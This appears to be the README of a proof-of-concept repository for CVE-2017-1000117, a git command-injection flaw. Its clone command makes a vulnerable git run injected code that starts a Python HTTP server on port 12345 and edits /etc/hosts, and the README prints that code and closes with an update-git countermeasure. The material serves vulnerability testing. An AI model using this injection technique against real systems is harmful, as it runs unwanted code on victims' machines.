How it works

This operates using the CVE-2017-1000117 vulnerability. When you clone this repository with root privileges using the git command with the --recurse option, an HTTP server that listens on port 12345 will run automatically.
To stop the HTTP server, find its process ID and kill it.

Tested Operating Systems

CentOS7
macOS Sierra
Debian8

Execution Command

Execute the following command. When it finishes, the console will hang; press Ctrl + C to exit.

    [root@localhost ~]$ git clone --recurse https://github.com/Shadow5523/CVE-2017-1000117-test.git

How to Verify the Vulnerability

Run the ps command to check if the Python code is running.

    [root@localhost ~]$ ps ax | grep http
    21365 pts/0    S      0:00 python -c (lambda j: (lambda s, i: s.setsockopt(i.SOL_SOCKET, i.SO_REUSEADDR, 1) or s.bind((i.gethostname(), 12345)) or s.listen(10) or map(lambda y: y.send("HTTP/1.0 200 OK\r\nContent-Length: 20\r\nContent-Type: text/html\r\n\r\n<html><center>test</center></html>"), (s.accept()[0] for x in iter(int, 1))))(j.socket(j.AF_INET, j.SOCK_STREAM), j))(__import__("socket"))
    21381 pts/0    S+     0:00 grep --color=auto ht

Use netstat to check if port 12345 is listening.

    [root@localhost ~]$ netstat -tanp | grep 12345
    tcp        0      0 127.0.0.1:12345         0.0.0.0:*               LISTEN      21365/python

On macOS, verify with the following command:

    MAcbook:~ root# lsof -nP -iTCP -sTCP:LISTEN
    COMMAND   PID USER   FD   TYPE             DEVICE SIZE/OFF NODE NAME
    Python  14231 root    3u  IPv4 0xa3955f2183c66251      0t0  TCP 127.0.0.1:12345 (LISTEN)

Check if "127.0.0.1 hostname" has been added to the bottom line of /etc/hosts.

Countermeasure

Update git to the latest version. Refer to the link below.
How to update to the latest Git from a GitHub remote repository

CVE-2017-1000117-test

Most Popular

How it works

Tested Operating Systems

Execution Command

How to Verify the Vulnerability

Countermeasure